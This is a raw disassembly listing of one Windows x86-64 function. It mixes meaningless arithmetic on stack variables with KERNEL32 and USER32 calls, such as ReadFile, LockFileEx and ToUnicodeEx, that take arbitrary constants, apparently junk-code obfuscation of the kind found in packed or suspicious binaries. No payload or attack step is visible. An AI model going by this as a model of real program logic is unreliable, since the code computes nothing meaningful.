movzx ecx, al
mov rax, qword [rsp + 0x1e710]
mov rax, qword [rax]
shr rax, cl
mov rcx, qword [rsp + 0x97e8]
mov qword [rcx], rax
mov eax, dword [rsp + 0x4614]
mov rcx, qword [rsp + 0x97e0]
mov qword [rsp + 0x1e718], rcx
movzx ecx, al
mov rax, qword [rsp + 0x1e718]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x4374], eax
mov rax, qword [rsp + 0x96d8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x342]
or eax, ecx
mov byte [rsp + 0x277], al
movsx eax, word [rsp + 0x1c84]
mov rcx, qword [rsp + 0x9880]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x1c90], ax
movzx eax, word [rsp + 0x1c80]
mov rcx, qword [rsp + 0x9720]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x140229f28], ax
mov rax, qword [rsp + 0x98e0]
mov rcx, qword [rsp + 0x9660]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x7c50], rax
mov rax, qword [rsp + 0x9800]
mov ecx, dword [rsp + 0x45c8]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x9800]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x344]
mov rcx, qword [rsp + 0x96e8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x2a0], al
mov rax, qword [rsp + 0x9710]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x82e8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x97d0], rax
lea rax, [rsp + 0x9908]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0xbd
mov r9d, 0x65
mov r8d, 0x3b
mov edx, 0x9e
mov rcx, qword [rsp + 0x9ae0]
call qword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [rsp + 0x4620], eax
mov rax, qword [rsp + 0x9748]
movzx edx, word [rax]
mov rax, qword [rsp + 0x98b8]
movzx ecx, byte [rax]
call fcn.14017d0e0
mov rax, qword [rsp + 0x9668]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8078]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x82e8], rax
mov rax, qword [rsp + 0x97e0]
mov edx, dword [rax]
mov ecx, dword [rsp + 0x4374]
call fcn.14017cfe0
jmp 0x14017c656
mov rax, qword [rsp + 0x9800]
mov ecx, dword [rsp + 0x460c]
mov eax, dword [rax]
sub eax, ecx
mov ecx, dword [rsp + 0x4630]
mov edx, dword [rsp + 0x4674]
sar edx, cl
mov ecx, edx
cmp eax, ecx
jle 0x14017c5cb
movsx eax, word [0x14022b828]
mov rcx, qword [rsp + 0x9890]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x1c84], ax
mov rax, qword [rsp + 0x98e0]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x9828]
shl rax, cl
mov qword [rsp + 0x97d0], rax
mov rax, qword [rsp + 0x97b8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4374]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x4614], eax
mov rax, qword [rsp + 0x98b8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x186]
sar eax, cl
mov rcx, qword [rsp + 0x98b8]
mov byte [rcx], al
lea rax, [rsp + 0x1e5e0]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x97a0]
mov r8d, 0x9c
lea rdx, [rsp + 0x9798]
mov rcx, qword [rsp + 0x1e720]
call qword [sym.imp.KERNEL32.dll_ReadFile]
mov dword [rsp + 0x45f4], eax
jmp 0x14017c656
movzx eax, byte [rsp + 0xa9]
mov rcx, qword [rsp + 0x9808]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x96e8]
movzx ecx, byte [rcx]
mov rdx, qword [rsp + 0x98f8]
movzx edx, byte [rdx]
and ecx, edx
cmp eax, ecx
jle 0x14017c656
mov rax, qword [rsp + 0x9758]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9870]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x8ef8], rax
movzx eax, word [rsp + 0x1c80]
mov rcx, qword [rsp + 0x9888]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x96c8]
mov word [rcx], ax
mov rax, qword [rsp + 0x98b0]
mov edx, dword [rax]
mov rax, qword [rsp + 0x98e8]
mov ecx, dword [rax]
call fcn.14017cfe0
call fcn.14017d040
jmp 0x14017c70a
mov rax, qword [rsp + 0x9758]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9870]
or rcx, rax
mov rax, rcx
mov qword [0x14022b808], rax
mov rax, qword [rsp + 0x9848]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9890]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1c84], ax
movsx eax, word [rsp + 0x1c88]
movsx ecx, word [rsp + 0x1c78]
sar eax, cl
mov rcx, qword [rsp + 0x9890]
mov word [rcx], ax
mov rax, qword [rsp + 0x9748]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9888]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1c80], ax
lea r9, [rsp + 0x447c]
lea r8, [rsp + 0x1c78]
lea rdx, [rsp + 0x9850]
mov rcx, qword [rsp + 0x97f0]
call qword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExW]
mov dword [rsp + 0x6f00], eax
mov eax, dword [rsp + 0x4374]
mov rcx, qword [rsp + 0x97b8]
mov qword [rsp + 0x1e728], rcx
movzx ecx, al
mov rax, qword [rsp + 0x1e728]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x4614], eax
lea rdx, [rsp + 0x9758]
mov rcx, qword [rsp + 0x9698]
call qword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
mov dword [rsp + 0x6f00], eax
movsx eax, byte [rsp + 0x129]
mov rcx, qword [rsp + 0x98b8]
movsx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x96d8]
mov byte [rcx], al
mov rax, qword [rsp + 0x98c0]
mov rdx, qword [rax]
mov rax, qword [rsp + 0x97b8]
mov ecx, dword [rax]
call fcn.14017d120
jmp 0x14017c82f
movsx eax, word [rsp + 0x1c88]
movsx ecx, word [rsp + 0x1c90]
xor eax, ecx
mov rcx, qword [rsp + 0x9880]
movsx ecx, word [rcx]
mov dword [rsp + 0x6f04], ecx
mov rdx, qword [rsp + 0x9848]
movsx edx, word [rdx]
movzx ecx, dl
mov edx, dword [rsp + 0x6f04]
sar edx, cl
mov ecx, edx
cmp eax, ecx
je 0x14017c82f
mov rax, qword [rsp + 0x98c0]
mov rcx, qword [rsp + 0x9788]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x9668]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9748]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1c80]
add eax, ecx
mov word [rsp + 0x1c7c], ax
mov rax, qword [rsp + 0x9888]
movzx edx, word [rax]
mov rax, qword [rsp + 0x98b8]
movzx ecx, byte [rax]
call fcn.14017d0e0
mov rax, qword [rsp + 0x97d0]
mov rcx, qword [rsp + 0x96d0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x9828], rax
mov r9, qword [rsp + 0x1e5e0]
mov r8, qword [rsp + 0x9728]
mov edx, 0xc0
mov rcx, qword [rsp + 0x97f0]
call qword [sym.imp.KERNEL32.dll_GetFullPathNameW]
mov dword [rsp + 0x4614], eax
mov edx, dword [rsp + 0x4614]
mov ecx, dword [rsp + 0x4374]
call fcn.14017cfe0
lea rax, [rsp + 0x1c88]
mov qword [rsp + 0x20], rax
mov r9d, dword [rsp + 0x6f08]
mov r8d, 0xa2
mov dx, 0xcb
mov rcx, qword [rsp + 0x96b8]
call qword [sym.imp.KERNEL32.dll_FillConsoleOutputCharacterW]
mov dword [rsp + 0x46c4], eax
mov rax, qword [rsp + 0x9878]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9730]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9758]
mov qword [rcx], rax
mov rdx, qword [rsp + 0x98c8]
mov rcx, qword [rsp + 0x97f0]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
mov qword [rsp + 0x97f0], rax
mov rax, qword [rsp + 0x96c8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1c7c]
or eax, ecx
mov word [rsp + 0x1a90], ax
mov rax, qword [rsp + 0x97e8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9650]
xor rcx, rax
mov rax, rcx
mov rcx, qword [0x14022b818]
mov qword [rcx], rax
mov ecx, dword [rsp + 0x4658]
call fcn.14017d190
movzx eax, word [rsp + 0x1c7c]
movzx ecx, word [rsp + 0x1c80]
xor eax, ecx
mov word [rsp + 0x1a90], ax
mov rax, qword [rsp + 0x96e8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x2a0]
sar eax, cl
mov byte [rsp + 0xa9], al
mov rax, qword [rsp + 0x9758]
mov rcx, qword [rsp + 0x97e8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [0x14022b818]
mov qword [rcx], rax
call fcn.14017d040
jmp 0x14017ca1a
mov rax, qword [rsp + 0x9750]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x96d8]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x342], al
mov rax, qword [rsp + 0x96a8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1c78]
and eax, ecx
mov word [rsp + 0x1c88], ax
mov rax, qword [rsp + 0x96a8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1c84]
or eax, ecx
mov word [rsp + 0x1c78], ax
movzx edx, word [rsp + 0x1c80]
movzx ecx, byte [rsp + 0x129]
call fcn.14017d0e0
mov rax, qword [rsp + 0x9758]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9730]
add rcx, rax
mov rax, rcx
mov rcx, qword [0x14022b818]
mov qword [rcx], rax
mov ecx, dword [rsp + 0x460c]
call fcn.14017d190
jmp 0x14017caa3
mov rax, qword [rsp + 0x96a0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x19f]
sub eax, ecx
mov byte [rsp + 0xa9], al
mov edx, ILFindLastID
mov rcx, qword [rsp + 0x96f8]
call qword [sym.imp.USER32.dll_GetDlgItem]
mov qword [rsp + 0x97a0], rax
mov rax, qword [rsp + 0x9758]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x9670]
shr rax, cl
mov qword [rsp + 0x9650], rax
lea r9, [rsp + 0x1e830]
mov r8d, 1
mov edx, 0x53
mov rcx, qword [rsp + 0x9a40]
call qword [sym.imp.USER32.dll_GetMenuItemInfoW]
mov dword [rsp + 0x4620], eax
mov rax, qword [rsp + 0x9720]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9748]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1c8c], ax
mov rax, qword [rsp + 0x9788]
mov rcx, qword [rsp + 0x82e8]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x9788]
mov qword [rcx], rax
mov edx, dword [0x140229f2c]
mov rax, qword [rsp + 0x97b8]
mov ecx, dword [rax]
call fcn.14017cfe0
movsx eax, word [rsp + 0x1c78]
movsx ecx, word [rsp + 0x1c88]
or eax, ecx
mov rcx, qword [rsp + 0x96a8]
mov word [rcx], ax
mov rax, qword [rsp + 0x9668]
mov rdx, qword [rax]
mov rax, qword [rsp + 0x96e0]
mov ecx, dword [rax]
call fcn.14017d120
jmp 0x14017cbea
movzx eax, byte [rsp + 0xa9]
mov rcx, qword [rsp + 0x96a0]
movzx ecx, byte [rcx]
add eax, ecx
movzx ecx, byte [rsp + 0x19f]
mov rdx, qword [rsp + 0x96e8]
movzx edx, byte [rdx]
and ecx, edx
cmp eax, ecx
jge 0x14017cbea
movsx eax, byte [rsp + 0x129]
mov rcx, qword [rsp + 0x96d8]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x186], al
movsx eax, word [rsp + 0x1c78]
movsx ecx, word [rsp + 0x1c88]
or eax, ecx
mov rcx, qword [rsp + 0x96a8]
mov word [rcx], ax
mov rax, qword [rsp + 0x96e0]
mov ecx, dword [rsp + 0x447c]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x4614], eax
mov ecx, dword [rsp + 0x45d8]
call fcn.14017d190
movzx eax, word [rsp + 0x1c80]
movzx ecx, word [rsp + 0x1a90]
and eax, ecx
mov word [rsp + 0x1c8c], ax
movsx eax, word [rsp + 0x1c78]
movsx ecx, word [rsp + 0x1c84]
sub eax, ecx
mov rcx, qword [rsp + 0x96a8]
mov word [rcx], ax
mov rax, qword [rsp + 0x96d0]
mov rcx, qword [rsp + 0x9668]
mov qword [rsp + 0x1e730], rcx
movzx ecx, al
mov rax, qword [rsp + 0x1e730]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x9660], rax
lea rcx, [rsp + 0x1a90]
call qword [sym.imp.USER32.dll_GetClipCursor]
mov dword [rsp + 0x45f4], eax
jmp 0x14017cd97
mov rax, qword [rsp + 0x9650]
mov rcx, qword [rsp + 0x8500]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9730]
mov rdx, qword [rsp + 0x9670]
sub rdx, rcx
mov rcx, rdx
cmp rax, rcx
jbe 0x14017cd06
mov ecx, dword [rsp + 0x460c]
call fcn.14017d190
movsx eax, word [rsp + 0x1c88]
mov rcx, qword [rsp + 0x96a8]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x1c84], ax
lea rdx, [fcn.14017d120]
mov rcx, qword [rsp + 0x1e738]
call qword [sym.imp.USER32.dll_EnumPropsW]
mov dword [rsp + 0x45c8], eax
mov rax, qword [0x14022b818]
mov rcx, qword [rsp + 0x9670]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [0x14022b818]
mov qword [rcx], rax
jmp 0x14017cd97
mov rax, qword [rsp + 0x96e0]
mov ecx, dword [rsp + 0x4614]
mov eax, dword [rax]
add eax, ecx
cmp eax, dword [rsp + 0x447c]
jne 0x14017cd30
mov ecx, dword [rsp + 0x45c8]
call fcn.14017d190
jmp 0x14017cd97
movzx eax, byte [rsp + 0x19f]
movzx ecx, byte [rsp + 0xa9]
sar eax, cl
mov rcx, qword [rsp + 0x96a0]
movzx ecx, byte [rcx]
mov rdx, qword [rsp + 0x96e8]
movzx edx, byte [rdx]
and ecx, edx
cmp eax, ecx
jle 0x14017cd97
mov rax, qword [rsp + 0x9710]
mov rcx, qword [rsp + 0x96d0]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x82e8], rax
mov rax, qword [rsp + 0x96c8]
movzx edx, word [rax]
mov rax, qword [rsp + 0x96d8]
movzx ecx, byte [rax]
call fcn.14017d0e0
mov rax, qword [rsp + 0x96d8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x129]
xor eax, ecx
mov rcx, qword [rsp + 0x96d8]
mov byte [rcx], al
mov rax, qword [rsp + 0x96e0]
mov ecx, dword [rsp + 0x4614]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x447c], eax
mov rax, qword [rsp + 0x9660]
movzx ecx, al
mov rax, qword [rsp + 0x96d0]
shl rax, cl
mov qword [0x140229f20], rax
mov rax, qword [rsp + 0x96c8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1c8c]
xor eax, ecx
mov word [rsp + 0x1a90], ax
mov rax, qword [rsp + 0x9668]
mov rcx, qword [rsp + 0x82e8]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x96d0], rax
mov rax, qword [rsp + 0x96c8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1c7c]
sar eax, cl
mov word [rsp + 0x1c80], ax
mov rax, qword [rsp + 0x9908]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 0x94
mov dword [rsp + 0x20], 0x8c
lea r9, [rsp + 0x45c8]
lea r8, [rsp + 0x1c80]
mov edx, 0xa1
mov ecx, 0xe8
call qword [sym.imp.USER32.dll_ToUnicodeEx]
mov dword [rsp + 0x45d8], eax
jmp 0x14017cf4c
mov eax, dword [rsp + 0x447c]
sub eax, 0x8665
cmp eax, 0x6a05
jne 0x14017cee7
mov rax, qword [0x14022b808]
mov rcx, qword [rsp + 0x9670]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x9650], rax
movzx eax, byte [rsp + 0xa9]
sar eax, 1
mov rcx, qword [rsp + 0x96a0]
mov byte [rcx], al
mov edx, dword [rsp + 0x447c]
mov ecx, dword [rsp + 0x4614]
call fcn.14017cfe0
jmp 0x14017cf4c
mov rax, qword [rsp + 0x96a8]
movsx eax, word [rax]
add eax, 0x4bb
mov word [rsp + 0x1c78], ax
movzx eax, word [0x140229f28]
mov rcx, qword [rsp + 0x96c8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1c7c], ax
mov rax, qword [rsp + 0x9668]
mov rcx, qword [rsp + 0x82e8]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x9660], rax
mov edx, dword [rsp + 0x4614]
mov ecx, dword [rsp + 0x447c]
call fcn.14017cfe0
movsx eax, byte [0x14022b810]
shl eax, 6
mov byte [rsp + 0x129], al
call qword [sym.imp.USER32.dll_GetCaretBlinkTime]
mov dword [rsp + 0x4614], eax
mov rax, qword [rsp + 0x9650]
mov rcx, qword [0x14022b808]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x9670], rax
mov eax, dword [rsp + 0x45d8]
or eax, 0x21df4b00
mov dword [rsp + 0x45c8], eax
movabs rax, 0x7ab099730ac624
mov rcx, qword [rsp + 0x9660]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9668]
mov qword [rcx], rax
mov ecx, dword [rsp + 0x45d8]
call fcn.14017d190
mov eax, dword [rsp + 0x5ea4]
add rsp, 0x1ed98
pop rdi
pop rsi
ret